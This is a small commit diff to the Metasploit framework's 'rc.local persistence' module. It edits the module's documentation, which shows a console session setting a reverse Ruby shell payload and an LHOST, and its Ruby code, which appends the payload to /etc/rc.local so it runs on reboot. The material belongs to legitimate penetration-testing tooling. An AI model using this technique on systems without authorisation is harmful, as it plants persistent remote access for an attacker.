minor tweaks

documentation/modules/exploit/linux/local/rc_local_persistence.md

@@ -38,11 +38,9 @@ msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
 msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby
 payload => cmd/unix/reverse_ruby
 msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
-LHOST => 192.168.0.41`
+LHOST => 192.168.0.41
 msf5 exploit(linux/local/rc_local_persistence) > run
 
 [*] Reading /etc/rc.local
 [*] Patching /etc/rc.local
-[*] Max line length is 65537
-[*] Writing 650 bytes in 1 chunks of 2251 bytes (octal-encoded), using printf
 ```

modules/exploits/linux/local/rc_local_persistence.rb

@@ -8,13 +8,13 @@ class MetasploitModule < Msf::Exploit::Local
 
   include Msf::Post::File
   include Msf::Post::Unix
-  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'rc.local Persistence',
       'Description'    => %q(
         This module will edit /etc/rc.local in order to persist a payload.
+        The payload will be executed on the next reboot.
       ),
       'License'        => MSF_LICENSE,
       'Author'         => [ 'Eliott Teissonniere' ],
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Local
     rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
 
     # add payload and put back `exit 0`
-    rc_local << "\n#{payload.encoded}\nexit 0"
+    rc_local << "\n#{payload.encoded}\nexit 0\n"
 
     # write new file
     print_status('Patching /etc/rc.local')